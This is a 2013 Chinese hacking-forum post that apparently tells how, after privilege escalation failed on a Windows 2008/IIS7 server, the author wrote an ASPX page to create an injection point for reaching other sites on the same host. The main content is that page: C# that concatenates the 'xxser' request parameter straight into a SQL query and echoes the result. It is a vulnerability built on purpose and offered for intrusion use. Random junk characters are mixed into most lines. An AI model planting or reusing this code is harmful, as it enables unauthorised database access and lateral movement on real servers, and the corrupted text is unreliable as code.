找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2245|回复: 0
打印 上一主题 下一主题

利用aspx构造注射来跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-20 21:32:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。* f! X( \+ P# K: D( W8 S
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。; t% [" E* v0 u3 [. k, H3 T: ?: {& o
代码量不多,自己写个拉倒了。烦死了。1 \; w2 s# d. P$ a' t

- S/ p2 N. {7 u( \​, J  B+ E7 W- S+ X
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
; J6 v: {  t% ?2 ^- e<html xmlns="http://www.w3.org/1999/xhtml">
  \1 x9 R: M* B: X% ~<head runat="server">+ e& R2 w# d! {- _7 ^. R
    <title>暗影aspx构造注射专用页面</title>+ [" f5 W9 x5 C5 T0 O) I' X
</head>
, Y( ]! F1 P6 p) r2 A<body>
% p5 L/ [& y& |8 O3 l7 L    <form id="form1" runat="server">
0 r* }$ ^! i6 z4 T. `0 K/ @/ \  D! b* T    <div>
8 w* p  W( W' E7 Y+ x' W$ W1 e     <script language="c#" runat="server">
5 ~' g! ]! e2 H' z, I0 v            
5 H; ?, p. G+ ?! A4 `         void page_init(object sender, EventArgs e), @! T1 L! O5 X$ h
         {
0 |4 R2 y) y- K  [0 ~4 b% G! o            
2 n; \) a+ r" P2 e             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();, q: O5 O& H+ \, G/ q
             9 G/ Z) w, h) f9 S
             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
  D+ w- M& s: o9 w2 m! w5 L7 u& a             conn.Open();+ L$ ^5 F& }, H* `2 Z
            
0 [; ^! F/ R/ W, S4 l( B8 G             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=15 S. h8 N4 c0 d
            
6 p$ b9 g' h% F             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
" ^; S; a- q& J- C, u. H2 \$ A             int x = command.ExecuteNonQuery();
& q2 c# D8 H" D  N" @. f             Response.Write(i+"\n");
4 O& j6 @: ]! {0 s8 X5 A             Response.Write(x);
0 o: `( X8 J: z  m0 W5 i             conn.Close();& T1 _5 o2 c& {% \2 l0 n: @
         }
: b" `* W, L5 ~. R& r     
. z' b  K- L; `. c. q- m+ E& W  </script>! s9 ?6 S) ^3 L$ C: R
    </div>
  T+ r( U# o' q: @9 D  Z    </form>3 _& e: @/ K9 P* ?6 {0 X8 |
</body>
* G- J: o+ y+ @5 O9 r5 W8 }</html>
& N/ w, v9 C0 ^  s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表